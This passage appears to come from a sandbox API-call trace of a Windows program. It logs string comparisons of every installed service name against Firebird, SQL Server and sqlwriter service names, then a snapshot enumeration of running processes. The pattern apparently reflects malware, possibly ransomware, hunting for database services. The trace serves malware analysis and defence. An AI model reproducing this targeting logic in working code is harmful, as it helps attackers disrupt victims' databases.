	[0155.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0155.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0155.846] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0155.846] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0155.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0155.846] lstrlenW (lpString="DmEnrollmentSvc") returned 15
	[0155.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0155.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0155.846] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1
	[0155.846] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1
	[0155.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1
	[0155.846] lstrlenW (lpString="Dnscache") returned 8
	[0155.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0155.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0155.846] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0155.846] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0155.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0155.846] lstrlenW (lpString="DPS") returned 3
	[0155.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0155.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0155.846] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0155.846] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0155.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0155.847] lstrlenW (lpString="DusmSvc") returned 7
	[0155.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0155.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0155.847] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0155.847] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0155.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0155.847] lstrlenW (lpString="EventLog") returned 8
	[0155.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0155.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0155.847] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0155.847] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0155.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0155.847] lstrlenW (lpString="EventSystem") returned 11
	[0155.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0155.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0155.847] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0155.847] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0155.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0155.847] lstrlenW (lpString="FontCache") returned 9
	[0155.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0155.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0155.847] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0155.847] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0155.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0155.847] lstrlenW (lpString="gpsvc") returned 5
	[0155.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0155.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0155.848] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0155.848] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0155.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0155.848] lstrlenW (lpString="iphlpsvc") returned 8
	[0155.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0155.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0155.848] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0155.848] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0155.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0155.848] lstrlenW (lpString="KeyIso") returned 6
	[0155.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0155.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0155.848] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0155.848] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0155.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0155.848] lstrlenW (lpString="LanmanServer") returned 12
	[0155.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0155.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0155.848] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0155.848] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0155.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0155.848] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0155.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0155.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0155.848] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0155.848] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0155.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0155.848] lstrlenW (lpString="lfsvc") returned 5
	[0155.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0155.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0155.849] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0155.849] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0155.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0155.849] lstrlenW (lpString="lmhosts") returned 7
	[0155.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0155.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0155.849] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0155.849] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0155.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0155.849] lstrlenW (lpString="LSM") returned 3
	[0155.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0155.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0155.849] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0155.849] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0155.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0155.849] lstrlenW (lpString="MpsSvc") returned 6
	[0155.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0155.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0155.849] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0155.849] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0155.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0155.849] lstrlenW (lpString="NcbService") returned 10
	[0155.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0155.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0155.849] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0155.849] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0155.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0155.849] lstrlenW (lpString="netprofm") returned 8
	[0155.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0155.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0155.849] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0155.849] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0155.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0155.849] lstrlenW (lpString="NgcSvc") returned 6
	[0155.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0155.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0155.849] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0155.850] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0155.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0155.850] lstrlenW (lpString="NlaSvc") returned 6
	[0155.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0155.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0155.850] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0155.850] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0155.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0155.850] lstrlenW (lpString="nsi") returned 3
	[0155.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0155.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0155.850] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0155.850] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0155.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0155.850] lstrlenW (lpString="PcaSvc") returned 6
	[0155.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0155.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0155.850] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0155.850] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0155.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0155.850] lstrlenW (lpString="PlugPlay") returned 8
	[0155.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0155.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0155.850] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0155.850] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0155.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0155.850] lstrlenW (lpString="Power") returned 5
	[0155.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0155.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0155.850] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0155.850] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0155.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0155.850] lstrlenW (lpString="ProfSvc") returned 7
	[0155.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0155.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0155.850] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0155.851] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0155.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0155.851] lstrlenW (lpString="RpcEptMapper") returned 12
	[0155.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0155.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0155.851] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0155.851] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0155.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0155.851] lstrlenW (lpString="RpcSs") returned 5
	[0155.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0155.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0155.851] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0155.851] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0155.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0155.851] lstrlenW (lpString="SamSs") returned 5
	[0155.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0155.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0155.851] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0155.851] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0155.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0155.851] lstrlenW (lpString="Schedule") returned 8
	[0155.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0155.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0155.851] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0155.851] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0155.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0155.851] lstrlenW (lpString="SecurityHealthService") returned 21
	[0155.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0155.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0155.851] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0155.851] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0155.851] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0155.851] lstrlenW (lpString="SENS") returned 4
	[0155.851] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0155.851] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0155.851] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0155.852] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0155.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0155.852] lstrlenW (lpString="ShellHWDetection") returned 16
	[0155.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0155.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0155.852] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0155.852] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0155.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0155.852] lstrlenW (lpString="Spooler") returned 7
	[0155.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0155.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0155.852] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0155.852] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0155.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0155.852] lstrlenW (lpString="StateRepository") returned 15
	[0155.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0155.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0155.852] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0155.852] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0155.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0155.852] lstrlenW (lpString="SysMain") returned 7
	[0155.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0155.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0155.852] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0155.852] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0155.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0155.852] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0155.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0155.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0155.852] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0155.852] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0155.852] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0155.852] lstrlenW (lpString="Themes") returned 6
	[0155.852] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0155.852] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0155.853] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0155.853] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0155.853] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0155.853] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0155.853] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0155.853] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0155.853] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0155.853] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0155.853] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41b9628 | out: hHeap=0x5a0000) returned 1
	[0155.853] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x418
	[0155.858] Process32FirstW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0155.858] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0155.859] lstrlenW (lpString="System") returned 6
	[0155.859] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0155.860] lstrlenW (lpString="smss.exe") returned 8
	[0155.860] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0155.860] lstrlenW (lpString="csrss.exe") returned 9
	[0155.860] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0155.860] lstrlenW (lpString="wininit.exe") returned 11
	[0155.860] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0155.861] lstrlenW (lpString="csrss.exe") returned 9
	[0155.861] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0155.861] lstrlenW (lpString="winlogon.exe") returned 12
	[0155.861] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0155.862] lstrlenW (lpString="services.exe") returned 12
	[0155.862] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0155.862] lstrlenW (lpString="lsass.exe") returned 9
	[0155.862] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0155.863] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0155.863] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0156.132] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0156.132] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.133] lstrlenW (lpString="svchost.exe") returned 11
	[0156.133] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.133] lstrlenW (lpString="svchost.exe") returned 11
	[0156.133] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0156.133] lstrlenW (lpString="dwm.exe") returned 7
	[0156.133] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.134] lstrlenW (lpString="svchost.exe") returned 11
	[0156.134] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.134] lstrlenW (lpString="svchost.exe") returned 11
	[0156.134] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.135] lstrlenW (lpString="svchost.exe") returned 11
	[0156.135] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.135] lstrlenW (lpString="svchost.exe") returned 11
	[0156.135] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.136] lstrlenW (lpString="svchost.exe") returned 11
	[0156.136] Process32NextW (in: hSnapshot=0x418, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0156.136] lstrlenW (lpString="svchost.exe") returned 11
